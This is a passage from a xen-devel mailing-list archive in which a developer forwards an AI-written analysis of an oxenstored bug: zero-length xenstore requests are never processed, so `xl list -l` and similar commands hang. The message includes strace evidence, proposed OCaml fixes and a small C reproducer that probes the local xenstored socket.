  gcc -o oxs-zerolen oxs-zerolen.c && sudo ./oxs-zerolen

Against oxenstored:

  XS_READ(2)      len=3D21  (sanity)           -> reply type=3D2 len=3D8
  XS_GET_QUOTA(25) len=3D2  (unknown op)       -> reply type=3D16 len=3D7
[ENOSYS]
  XS_READ(2)      len=3D0   (known op!)        -> NO REPLY (5s timeout)
  XS_DIRECTORY(1) len=3D0   (known op!)        -> NO REPLY (5s timeout)
  XS_GET_FEATURE(23) len=3D0  (xl info -x)     -> NO REPLY (5s timeout)
  XS_GET_QUOTA(25) len=3D0  (xl list -l)       -> NO REPLY (5s timeout)

Against the C xenstored: all six reply in 0.000 s.


Fix
---

In Xb.input, return the packet as soon as a complete header with len =3D=3D=
 0
has been read, rather than returning None and waiting for input that will
never arrive:

    | NoHdr (i, buf) ->
      if sz > 0 then Bytes.blit b 0 buf (Partial.header_size () - i) sz;
      if sz =3D i then begin
        let partial_pkt =3D Partial.of_string (Bytes.to_string buf) in
        if Partial.to_complete partial_pkt =3D 0 then begin
          con.partial_in <- init_partial_in ();
          Some (Packet.of_partialpkt partial_pkt)      (* was: None *)
        end else (con.partial_in <- HaveHdr partial_pkt; None)
      end else (con.partial_in <- NoHdr (i - sz, buf); None)

Alternatively, fix has_more_input, which is where the invariant is actually
violated -- "a complete packet is buffered" ought to imply more work is
pending. This duplicates no packet construction, since the HaveHdr branch
already handles to_complete =3D 0 with no read:

    let has_more_input con =3D
      match con.backend with
      | Fd _ -> (match con.partial_in with
                 | HaveHdr p -> Partial.to_complete p =3D 0
                 | _ -> false)
      | Xenmmap backend -> backend.work_again

The Fd arm being a hardcoded `false` while Xenmmap consults work_again is
the asymmetry that hid this.

Tested on
---------

Xen 4.23-unstable, git e58a8e0889, debug=3Dn, bare metal (Debian 13, x86_64=
).
oxenstored built from the same tree; running binary sha256-verified against
tools/ocaml/xenstored/oxenstored.

Not tested: 4.21.0 / 4.22-rc binaries were not built and run. The claim tha=
t
they are affected rests on (a) the xb library being byte-identical to HEAD
and (b) 5234b61eab / ba90589447 being present in those tags. Both were
checked with git; neither was exercised.


---oxs-zerolen.c
/*
 * oxs-zerolen.c - oxenstored never answers a request with len =3D=3D 0.
 *
 *   gcc -o oxs-zerolen oxs-zerolen.c && sudo ./oxs-zerolen
 *
 * Against oxenstored: every len=3D=3D0 request times out, whatever the opc=
ode.
 * Against C xenstored: every case replies immediately.
 */
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <poll.h>
#include <sys/socket.h>
#include <sys/un.h>

struct xsd_sockmsg { uint32_t type, req_id, tx_id, len; };

/* Send one request, wait up to 5s for a reply header. */
static void probe(const char *what, uint32_t type, const char *pl, uint32_t
len)
{
struct sockaddr_un a =3D { .sun_family =3D AF_UNIX };
struct xsd_sockmsg m =3D { type, 0xC0DE, 0, len }, r;
struct pollfd p;
int fd =3D socket(AF_UNIX, SOCK_STREAM, 0);

strcpy(a.sun_path, "/var/run/xenstored/socket");
if (connect(fd, (struct sockaddr *)&a, sizeof(a))) { perror("connect");
return; }

if (write(fd, &m, sizeof(m)) !=3D sizeof(m)) { perror("write"); return; }
if (len && write(fd, pl, len) !=3D (ssize_t)len) { perror("write"); return;=
 }

p.fd =3D fd; p.events =3D POLLIN;
if (poll(&p, 1, 5000) =3D=3D 0)
printf("%-42s -> NO REPLY (5s timeout)\n", what);
else if (read(fd, &r, sizeof(r)) =3D=3D sizeof(r))
printf("%-42s -> reply type=3D%u len=3D%u\n", what, r.type, r.len);
close(fd);
}

int main(void)
{
probe("XS_READ(2)      len=3D21  (sanity)", 2, "/local/domain/0/name", 21);
probe("XS_GET_QUOTA(25) len=3D2  (unknown op)", 25, "0\0", 2);
probe("XS_READ(2)      len=3D0   (known op!)", 2, NULL, 0);
probe("XS_DIRECTORY(1) len=3D0   (known op!)", 1, NULL, 0);
probe("XS_GET_FEATURE(23) len=3D0  (xl info -x)", 23, NULL, 0);
probe("XS_GET_QUOTA(25) len=3D0  (xl list -l)", 25, NULL, 0);
return 0;
}

--000000000000cc38d906561ac626
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div dir=3D"ltr"><br></div><br><div class=3D"gmail_quote g=
mail_quote_container"><div dir=3D"ltr" class=3D"gmail_attr">On Fri, Mar 20,=
 2026 at 3:02=E2=80=AFPM Juergen Gross &lt;<a href=3D"mailto:jgross@suse.co=
m">jgross@suse.com</a>&gt; wrote:<br></div><blockquote class=3D"gmail_quote=
" style=3D"margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);=
padding-left:1ex">Add support for xenstore quota in the struct domain_confi=
g. Initially<br>
it will be used only for migration of a domain.<br>
<br>
Signed-off-by: Juergen Gross &lt;<a href=3D"mailto:jgross@suse.com" target=
=3D"_blank">jgross@suse.com</a>&gt;<br>
Acked-by: Nick Rosbrook &lt;<a href=3D"mailto:enr0n@ubuntu.com" target=3D"_=
blank">enr0n@ubuntu.com</a>&gt; # golang stuff<br>
---<br>
V2:<br>
- use LOGED() for error logging (Anthony Perard)<br>
- mention additional struct member xenstore_quota in libxl.h<br>
=C2=A0 (Anthony Perard)<br>
---<br>
=C2=A0tools/golang/xenlight/helpers.gen.go |=C2=A0 6 ++++++<br>
=C2=A0tools/golang/xenlight/types.gen.go=C2=A0 =C2=A0|=C2=A0 1 +<br>
=C2=A0tools/include/libxl.h=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 |=C2=A0 1 +<br>
=C2=A0tools/libs/light/libxl_dom.c=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0=
 8 ++++++++<br>
=C2=A0tools/libs/light/libxl_domain.c=C2=A0 =C2=A0 =C2=A0 | 11 +++++++++++<=
br>
=C2=A0tools/libs/light/libxl_types.idl=C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
=C2=A06 files changed, 28 insertions(+)<br>
<br>
diff --git a/tools/golang/xenlight/helpers.gen.go b/tools/golang/xenlight/h=
elpers.gen.go<br>
index 767b9e45f5..b0c09da910 100644<br>
--- a/tools/golang/xenlight/helpers.gen.go<br>
+++ b/tools/golang/xenlight/helpers.gen.go<br>
@@ -1286,6 +1286,9 @@ if err :=3D x.TrapUnmappedAccesses.fromC(&amp;xc.trap=
_unmapped_accesses);err !=3D nil {<br>
=C2=A0return fmt.Errorf(&quot;converting field TrapUnmappedAccesses: %v&quo=
t;, err)<br>
=C2=A0}<br>
=C2=A0x.XenstoreFeatureMask =3D uint32(xc.xenstore_feature_mask)<br>
+if err :=3D x.XenstoreQuota.fromC(&amp;xc.xenstore_quota);err !=3D nil {<b=
r>
+return fmt.Errorf(&quot;converting field XenstoreQuota: %v&quot;, err)<br>
+}<br>
<br>
=C2=A0 return nil}<br>
<br>
@@ -1825,6 +1828,9 @@ if err :=3D x.TrapUnmappedAccesses.toC(&amp;xc.trap_u=
nmapped_accesses); err !=3D nil {<br>
=C2=A0return fmt.Errorf(&quot;converting field TrapUnmappedAccesses: %v&quo=
t;, err)<br>
=C2=A0}<br>
=C2=A0xc.xenstore_feature_mask =3D C.uint32_t(x.XenstoreFeatureMask)<br>
+if err :=3D x.XenstoreQuota.toC(&amp;xc.xenstore_quota); err !=3D nil {<br=
>
+return fmt.Errorf(&quot;converting field XenstoreQuota: %v&quot;, err)<br>
+}<br>
<br>
=C2=A0 return nil<br>
=C2=A0 }<br>
diff --git a/tools/golang/xenlight/types.gen.go b/tools/golang/xenlight/typ=
es.gen.go<br>
index 8dd610919d..e0fd78ec03 100644<br>
--- a/tools/golang/xenlight/types.gen.go<br>
+++ b/tools/golang/xenlight/types.gen.go<br>
@@ -629,6 +629,7 @@ VmtraceBufKb int<br>
=C2=A0Vpmu Defbool<br>
=C2=A0TrapUnmappedAccesses Defbool<br>
=C2=A0XenstoreFeatureMask uint32<br>
+XenstoreQuota XsQuotaList<br>
=C2=A0}<br>
<br>
=C2=A0type DomainBuildInfoTypeUnion interface {<br>
diff --git a/tools/include/libxl.h b/tools/include/libxl.h<br>
index 6d2910df34..80e3ec8de9 100644<br>
--- a/tools/include/libxl.h<br>
+++ b/tools/include/libxl.h<br>
@@ -1545,6 +1545,7 @@ void libxl_mac_copy(libxl_ctx *ctx, libxl_mac *dst, c=
onst libxl_mac *src);<br>
=C2=A0 * libxl_xs_quota_global_set()<br>
=C2=A0 * libxl_xs_quota_domain_get()<br>
=C2=A0 * libxl_xs_quota_domain_set()<br>
+ * and the xenstore_quota member of struct domain_build_info<br>
=C2=A0 * are available.<br>
=C2=A0 */<br>
=C2=A0#define LIBXL_HAVE_XENSTORE_QUOTA<br>
diff --git a/tools/libs/light/libxl_dom.c b/tools/libs/light/libxl_dom.c<br=
>
index 05ebc69534..4ff5f65f6f 100644<br>
--- a/tools/libs/light/libxl_dom.c<br>
+++ b/tools/libs/light/libxl_dom.c<br>
@@ -509,6 +509,14 @@ retry_transaction:<br>
<br>
=C2=A0 =C2=A0 =C2=A0xs_introduce_domain(ctx-&gt;xsh, domid, state-&gt;store=
_mfn, state-&gt;store_port);<br>
<br>
+=C2=A0 =C2=A0 if (info-&gt;xenstore_quota.num_quota) {<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 rc =3D libxl_xs_quota_domain_set(ctx, domid, &=
amp;info-&gt;xenstore_quota);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 if (rc) {<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 LOGED(ERROR, domid, &quot;Failed=
 to set Xenstore quota&quot;);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 goto out;<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br>
+=C2=A0 =C2=A0 }<br>
+<br>
=C2=A0 out:<br>
=C2=A0 =C2=A0 =C2=A0free(vm_path);<br>
=C2=A0 =C2=A0 =C2=A0return rc;<br>
diff --git a/tools/libs/light/libxl_domain.c b/tools/libs/light/libxl_domai=
n.c<br>
index 5be47f687f..37fcd92871 100644<br>
--- a/tools/libs/light/libxl_domain.c<br>
+++ b/tools/libs/light/libxl_domain.c<br>
@@ -2533,6 +2533,17 @@ static void retrieve_domain_configuration_end(libxl_=
_egc *egc,<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0}<br>
=C2=A0 =C2=A0 =C2=A0}<br>
<br>
+=C2=A0 =C2=A0 /* Xenstore quota */<br>
+=C2=A0 =C2=A0 {<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 libxl_xs_quota_list_dispose(&amp;d_config-&gt;=
b_info.xenstore_quota);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 rc =3D libxl_xs_quota_domain_get(CTX, domid,<b=
r>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0&amp;d_co=
nfig-&gt;b_info.xenstore_quota);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 if (rc) {<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 LOGED(ERROR, domid, &quot;Fail t=
o get xenstore quota&quot;);<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 goto out;<br>
+=C2=A0 =C2=A0 =C2=A0 =C2=A0 }<br></blockquote><div><br></div><div>This cha=
nge seems to cause `xl list` to hang on oxenstored systems.</div><div><br><=
/div><div>I&#39;m not an expert in ocaml; Claude seems to think that the pr=
oblem is as follows:</div><div><br></div><div>1. oxenstored doesn&#39;t imp=
lement XS_GET_QUOTA, and</div><div>2. when it receives an unknown message i=
t returns an error, but</div><div>3. the error payload is length zero, and<=
/div><div>4. oxenstored has a bug such that it will never actually send mes=
sages with a zero-length payload.</div><div><br></div><div>Below is a more =
complete report from Claude; as I said, I don&#39;t know enough ocaml to ev=
aluate it. Plan `xl list` only triggers it on staging, but apparently `xl l=
ist -x` will trigger it in Xen 4.21.</div><div><br></div><div>Assuming the =
analysis is correct, it&#39;s concerning that an issue with the default xen=
stored instance wasn&#39;t caught earlier.</div><div><br></div><div>=C2=A0-=
George</div><div><br></div><div>8&lt;---</div><div><br></div><div>Subject: =
oxenstored hangs on any xenstore request with a zero-length payload<br><br>=
=C2=A0 Affects, on oxenstored systems:<br>=C2=A0 =C2=A0 - `xl info -x` and =
`xenstore watch -d N` =C2=A0-- RELEASE-4.21.0, RELEASE-4.21.1<br>=C2=A0 =C2=
=A0 - `xl list -l`, `xl save`, `xl migrate` =C2=A0 -- 4.22.0-rc1..rc3, unst=
able<br>=C2=A0 The C xenstored and xenstore-stubdom are unaffected.<br><br>=
<br>Symptom<br>-------<br><br>On an idle dom0 with no guests, running oxens=
tored, `xl list -l` never<br>returns and produces no output. The same holds=
 for `xl save`, `xl migrate`,<br>`xl info -x`, and `xenstore watch -d N`. M=
eanwhile `xl list`, `xl list -v`,<br>`xl info -n`, `xenstore-read` and `xen=
store-ls` all work normally.<br><br>The client is blocked in read(fd, buf, =
16) awaiting an xsd_sockmsg header<br>that never arrives. Both socket queue=
s are empty. oxenstored itself remains<br>healthy and continues to serve ev=
ery other connection.<br><br><br>Root cause<br>----------<br><br>oxenstored=
&#39;s socket backend never delivers a request whose payload length<br>is z=
ero. This is independent of the opcode: XS_READ and XS_DIRECTORY with<br>le=
n =3D=3D 0 hang exactly as XS_GET_QUOTA does.<br><br>In tools/ocaml/libs/xb=
/<a href=3D"http://xb.ml">xb.ml</a>, Xb.input() consumes the 16-byte header=
 and<br>sets partial_in &lt;- HaveHdr pkt, then returns None unconditionall=
y:<br><br>=C2=A0 =C2=A0 | NoHdr (i, buf) =C2=A0 =C2=A0 =C2=A0-&gt;<br>=C2=
=A0 =C2=A0 =C2=A0 =C2=A0 (* we complete the partial header *)<br>=C2=A0 =C2=
=A0 =C2=A0 =C2=A0 if sz &gt; 0 then<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 B=
ytes.blit b 0 buf (Partial.header_size () - i) sz;<br>=C2=A0 =C2=A0 =C2=A0 =
=C2=A0 con.partial_in &lt;- if sz =3D i then<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 HaveHdr (Partial.of_string (Bytes.to_string buf)) else NoHdr=
 (i - sz, buf);<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 None<br><br>The packet would=
 be produced by the *next* call to input() -- the HaveHdr<br>branch handles=
 Partial.to_complete =3D 0 without reading anything further.<br>But has_mor=
e_input is hardcoded false for socket backends:<br><br>=C2=A0 =C2=A0 let ha=
s_more_input con =3D<br>=C2=A0 =C2=A0 =C2=A0 match con.backend with<br>=C2=
=A0 =C2=A0 =C2=A0 | Fd _ =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0-&gt; fal=
se<br>=C2=A0 =C2=A0 =C2=A0 | Xenmmap backend -&gt; backend.work_again<br><b=
r>so <a href=3D"http://xenstored.ml">xenstored.ml</a> re-enters do_input on=
ly when poll() reports the fd readable.<br><br>=C2=A0 - For len &gt; 0, the=
 payload is still buffered in the socket, so poll()<br>=C2=A0 =C2=A0 fires =
again and the packet completes. This is why every other request<br>=C2=A0 =
=C2=A0 works.<br><br>=C2=A0 - For len =3D=3D 0, nothing remains to be read.=
 poll() never fires, and a<br>=C2=A0 =C2=A0 fully-received request sits par=
ked in partial_in indefinitely.<br><br>It is finally processed only when fu=
rther input arrives on that connection<br>-- including POLLHUP at client te=
ardown -- at which point the reply is<br>written to a dead socket.<br><br>o=
xenstored&#39;s dispatch layer is correct: XS_GET_QUOTA with a non-empty<br=
>payload returns XS_ERROR &quot;ENOSYS&quot; in under a millisecond. Only t=
he framing<br>layer is broken.<br><br>Guest ring (Xenmmap) connections appe=
ar unaffected, since there<br>has_more_input follows work_again. NOTE: this=
 is a source-level inference;<br>I did not exercise a ring connection with =
a zero-length request.<br><br><br>Evidence<br>--------<br><br>strace of oxe=
nstored. \31 =3D 25 =3D XS_GET_QUOTA, \2 =3D XS_READ:<br><br>=C2=A0 # len=
=3D0, unknown opcode 25 -- nothing written, silence, then client EOF<br>=C2=
=A0 14:54:01.801066 read(23, &quot;\31\0\0\0\336\300\0\0\0\0\0\0\0\0\0\0&qu=
ot;, 16) =3D 16<br>=C2=A0 14:54:06.806325 write(18, &quot;[...] =C2=A0A81 i=
nvalid&quot;, 50) =C2=A0 &lt;- only at POLLHUP<br>=C2=A0 14:54:06.806811 re=
ad(23, &quot;&quot;, 16) =C2=A0 =C2=A0 =C2=A0 =C2=A0=3D 0<br><br>=C2=A0 # l=
en=3D0, WELL-KNOWN opcode 2 -- identical hang<br>=C2=A0 14:54:10.840293 rea=
d(23, &quot;\2\0\0\0\336\300\0\0\0\0\0\0\0\0\0\0&quot;, 16) =3D 16<br>=C2=
=A0 14:54:15.845644 read(23, &quot;&quot;, 16) =C2=A0 =C2=A0 =C2=A0 =C2=A0=
=3D 0<br><br>=C2=A0 # same opcode 25, len=3D2 -- answered instantly<br>=C2=
=A0 14:54:19.879492 read(23, &quot;\31\0\0\0\336\300\0\0\0\0\0\0\2\0\0\0&qu=
ot;, 16) =3D 16<br>=C2=A0 14:54:19.879698 read(23, &quot;0\0&quot;, 2) =C2=
=A0 =C2=A0 =C2=A0=3D 2<br>=C2=A0 14:54:19.879810 write(18, &quot;[...] A83 =
invalid / error ENOSYS&quot;, ...)<br><br>The poll() following the parked r=
ead requests POLLIN only -- no POLLOUT --<br>i.e. oxenstored has nothing qu=
eued to send. xenstored.log contains neither<br>&quot;process packet:&quot;=
 nor &quot;got a bad client&quot;: process_packet is never entered.<br><br>=
Decisive: send the len =3D=3D 0 header, wait three seconds (nothing), then =
send<br>one unrelated byte. The ENOSYS reply *for the original request id* =
is<br>emitted within 1 ms. The request was never dropped -- it was parked,<=
br>waiting for a poll() that had nothing left to deliver.<br><br><br>Trigge=
r<br>-------<br><br>libxenstore has exactly two zero-length senders, both r=
ecent. Before them,<br>no xenstore client had ever sent a zero-length reque=
st over the socket, so<br>the defect lay dormant.<br><br>=C2=A0 xs_get_feat=
ures_supported() =C2=A0XS_GET_FEATURE =C2=A0tools/libs/store/xs.c:1486<br>=
=C2=A0 =C2=A0 =C2=A0 added by 5234b61eab<br>=C2=A0 =C2=A0 =C2=A0 in: RELEAS=
E-4.21.0, RELEASE-4.21.1, 4.22.0-rc*, unstable<br>=C2=A0 =C2=A0 =C2=A0 reac=
hed by: xl info -x, xenstore watch -d N<br><br>=C2=A0 xs_get_quota_names() =
=C2=A0 =C2=A0 =C2=A0 =C2=A0 XS_GET_QUOTA =C2=A0 =C2=A0tools/libs/store/xs.c=
:1537<br>=C2=A0 =C2=A0 =C2=A0 added by ba90589447<br>=C2=A0 =C2=A0 =C2=A0 i=
n: 4.22.0-rc1..rc3, unstable<br>=C2=A0 =C2=A0 =C2=A0 reached by: xl list -l=
, xl save, xl migrate -- since a6f159f92c made<br>=C2=A0 =C2=A0 =C2=A0 libx=
l_retrieve_domain_configuration() query xenstore quota<br><br>Both are the =
only `struct iovec iov[1]` call sites in xs.c.<br><br><br>libxl is not at f=
ault<br>---------------------<br><br>tools/libs/light/libxl_xsquota.c expli=
citly treats quota as optional:<br><br>=C2=A0 =C2=A0 names =3D xs_get_quota=
_names(ctx-&gt;xsh, &amp;num);<br>=C2=A0 =C2=A0 if (!names) {<br>=C2=A0 =C2=
=A0 =C2=A0 =C2=A0 /* Xenstore quota support is optional! */<br>=C2=A0 =C2=
=A0 =C2=A0 =C2=A0 if (errno !=3D ENOSYS) { ... rc =3D ERROR_FAIL; }<br>=C2=
=A0 =C2=A0 =C2=A0 =C2=A0 else =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 { rc =3D 0; }<br><br>Confirmed empirically: with an LD_PRELOAD s=
him forcing xs_get_quota_names()<br>to fail with ENOSYS, against the same h=
anging oxenstored, `xl list -l`<br>returns rc=3D0 with full JSON and `xl sa=
ve` writes a 2.1 GB savefile. A<br>xenstored that lacks opcode 25 but *answ=
ers* ENOSYS works fine. The C<br>xenstored answers ENOSYS to unknown opcode=
s at any length.<br><br><br>Age<br>---<br><br>The defect is present in oxen=
stored&#39;s original commit:<br><br>=C2=A0 =C2=A0 c3afd398ba7f349fdf59d79a=
aed4da256176806a<br>=C2=A0 =C2=A0 Keir Fraser &lt;<a href=3D"mailto:keir.fr=
aser@citrix.com">keir.fraser@citrix.com</a>&gt;, 2010-05-06<br>=C2=A0 =C2=
=A0 &quot;ocaml: Add XS bindings.&quot;<br><br>`git log -S has_more_input -=
- tools/ocaml/libs/xb/<a href=3D"http://xb.ml">xb.ml</a>` returns that comm=
it<br>and no other; has_more_input has never been modified. The NoHdr branc=
h is<br>unchanged in substance since RELEASE-4.2.0, and<br>`git diff RELEAS=
E-4.21.0 HEAD -- tools/ocaml/libs/xb/{xb,partial,op}.ml`<br>is empty -- the=
 files are byte-identical.<br><br><br>Reproducer<br>----------<br><br>Attac=
hed: oxs-zerolen.c (50 lines, no dependencies).<br><br>=C2=A0 gcc -o oxs-ze=
rolen oxs-zerolen.c &amp;&amp; sudo ./oxs-zerolen<br><br>Against oxenstored=
:<br><br>=C2=A0 XS_READ(2) =C2=A0 =C2=A0 =C2=A0len=3D21 =C2=A0(sanity) =C2=
=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 -&gt; reply type=3D2 len=3D8<br>=C2=A0 XS_G=
ET_QUOTA(25) len=3D2 =C2=A0(unknown op) =C2=A0 =C2=A0 =C2=A0 -&gt; reply ty=
pe=3D16 len=3D7 =C2=A0 [ENOSYS]<br>=C2=A0 XS_READ(2) =C2=A0 =C2=A0 =C2=A0le=
n=3D0 =C2=A0 (known op!) =C2=A0 =C2=A0 =C2=A0 =C2=A0-&gt; NO REPLY (5s time=
out)<br>=C2=A0 XS_DIRECTORY(1) len=3D0 =C2=A0 (known op!) =C2=A0 =C2=A0 =C2=
=A0 =C2=A0-&gt; NO REPLY (5s timeout)<br>=C2=A0 XS_GET_FEATURE(23) len=3D0 =
=C2=A0(xl info -x) =C2=A0 =C2=A0 -&gt; NO REPLY (5s timeout)<br>=C2=A0 XS_G=
ET_QUOTA(25) len=3D0 =C2=A0(xl list -l) =C2=A0 =C2=A0 =C2=A0 -&gt; NO REPLY=
 (5s timeout)<br><br>Against the C xenstored: all six reply in 0.000 s.<br>=
<br><br>Fix<br>---<br><br>In Xb.input, return the packet as soon as a compl=
ete header with len =3D=3D 0<br>has been read, rather than returning None a=
nd waiting for input that will<br>never arrive:<br><br>=C2=A0 =C2=A0 | NoHd=
r (i, buf) -&gt;<br>=C2=A0 =C2=A0 =C2=A0 if sz &gt; 0 then Bytes.blit b 0 b=
uf (Partial.header_size () - i) sz;<br>=C2=A0 =C2=A0 =C2=A0 if sz =3D i the=
n begin<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 let partial_pkt =3D Partial.of_strin=
g (Bytes.to_string buf) in<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 if Partial.to_com=
plete partial_pkt =3D 0 then begin<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 co=
n.partial_in &lt;- init_partial_in ();<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 Some (Packet.of_partialpkt partial_pkt) =C2=A0 =C2=A0 =C2=A0(* was: Non=
e *)<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 end else (con.partial_in &lt;- HaveHdr =
partial_pkt; None)<br>=C2=A0 =C2=A0 =C2=A0 end else (con.partial_in &lt;- N=
oHdr (i - sz, buf); None)<br><br>Alternatively, fix has_more_input, which i=
s where the invariant is actually<br>violated -- &quot;a complete packet is=
 buffered&quot; ought to imply more work is<br>pending. This duplicates no =
packet construction, since the HaveHdr branch<br>already handles to_complet=
e =3D 0 with no read:<br><br>=C2=A0 =C2=A0 let has_more_input con =3D<br>=
=C2=A0 =C2=A0 =C2=A0 match con.backend with<br>=C2=A0 =C2=A0 =C2=A0 | Fd _ =
-&gt; (match con.partial_in with<br>=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0 =C2=A0| HaveHdr p -&gt; Partial.to_complete p =3D 0<br>=
=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0| _ -&gt; fal=
se)<br>=C2=A0 =C2=A0 =C2=A0 | Xenmmap backend -&gt; backend.work_again<br><=
br>The Fd arm being a hardcoded `false` while Xenmmap consults work_again i=
s<br>the asymmetry that hid this.<br><br>Tested on<br>---------<br><br>Xen =
4.23-unstable, git e58a8e0889, debug=3Dn, bare metal (Debian 13, x86_64).<b=
r>oxenstored built from the same tree; running binary sha256-verified again=
st<br>tools/ocaml/xenstored/oxenstored.<br><br>Not tested: 4.21.0 / 4.22-rc=
 binaries were not built and run. The claim that<br>they are affected rests=
 on (a) the xb library being byte-identical to HEAD<br>and (b) 5234b61eab /=
 ba90589447 being present in those tags. Both were<br>checked with git; nei=
ther was exercised.</div><div><br></div><div><br></div><div>---oxs-zerolen.=
c</div><div>/*<br>=C2=A0* oxs-zerolen.c - oxenstored never answers a reques=
t with len =3D=3D 0.<br>=C2=A0*<br>=C2=A0* =C2=A0 gcc -o oxs-zerolen oxs-ze=
rolen.c &amp;&amp; sudo ./oxs-zerolen<br>=C2=A0*<br>=C2=A0* Against oxensto=
red: every len=3D=3D0 request times out, whatever the opcode.<br>=C2=A0* Ag=
ainst C xenstored: every case replies immediately.<br>=C2=A0*/<br>#include =
&lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;stdint.h&gt;<b=
r>#include &lt;unistd.h&gt;<br>#include &lt;poll.h&gt;<br>#include &lt;sys/=
socket.h&gt;<br>#include &lt;sys/un.h&gt;<br><br>struct xsd_sockmsg { uint3=
2_t type, req_id, tx_id, len; };<br><br>/* Send one request, wait up to 5s =
for a reply header. */<br>static void probe(const char *what, uint32_t type=
, const char *pl, uint32_t len)<br>{<br>	struct sockaddr_un a =3D { .sun_fa=
mily =3D AF_UNIX };<br>	struct xsd_sockmsg m =3D { type, 0xC0DE, 0, len }, =
r;<br>	struct pollfd p;<br>	int fd =3D socket(AF_UNIX, SOCK_STREAM, 0);<br>=
<br>	strcpy(a.sun_path, &quot;/var/run/xenstored/socket&quot;);<br>	if (con=
nect(fd, (struct sockaddr *)&amp;a, sizeof(a))) { perror(&quot;connect&quot=
;); return; }<br><br>	if (write(fd, &amp;m, sizeof(m)) !=3D sizeof(m)) { pe=
rror(&quot;write&quot;); return; }<br>	if (len &amp;&amp; write(fd, pl, len=
) !=3D (ssize_t)len) { perror(&quot;write&quot;); return; }<br><br>	p.fd =
=3D fd; p.events =3D POLLIN;<br>	if (poll(&amp;p, 1, 5000) =3D=3D 0)<br>		p=
rintf(&quot;%-42s -&gt; NO REPLY (5s timeout)\n&quot;, what);<br>	else if (=
read(fd, &amp;r, sizeof(r)) =3D=3D sizeof(r))<br>		printf(&quot;%-42s -&gt;=
 reply type=3D%u len=3D%u\n&quot;, what, r.type, r.len);<br>	close(fd);<br>=
}<br><br>int main(void)<br>{<br>	probe(&quot;XS_READ(2) =C2=A0 =C2=A0 =C2=
=A0len=3D21 =C2=A0(sanity)&quot;, 2, &quot;/local/domain/0/name&quot;, 21);=
<br>	probe(&quot;XS_GET_QUOTA(25) len=3D2 =C2=A0(unknown op)&quot;, 25, &qu=
ot;0\0&quot;, 2);<br>	probe(&quot;XS_READ(2) =C2=A0 =C2=A0 =C2=A0len=3D0 =
=C2=A0 (known op!)&quot;, 2, NULL, 0);<br>	probe(&quot;XS_DIRECTORY(1) len=
=3D0 =C2=A0 (known op!)&quot;, 1, NULL, 0);<br>	probe(&quot;XS_GET_FEATURE(=
23) len=3D0 =C2=A0(xl info -x)&quot;, 23, NULL, 0);<br>	probe(&quot;XS_GET_=
QUOTA(25) len=3D0 =C2=A0(xl list -l)&quot;, 25, NULL, 0);<br>	return 0;<br>=
}<br></div><div><br></div></div></div>

--000000000000cc38d906561ac626--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 16:24:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 16:24:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357204.1611698 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whV4N-00078z-T4; Wed, 08 Jul 2026 16:24:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357204.1611698; Wed, 08 Jul 2026 16:24:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whV4N-00078s-PY; Wed, 08 Jul 2026 16:24:19 +0000
Received: by outflank-mailman (input) for mailman id 1357204;
 Wed, 08 Jul 2026 16:24:18 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1whV4M-00078m-Cu
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 16:24:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whV4L-000cra-Hu
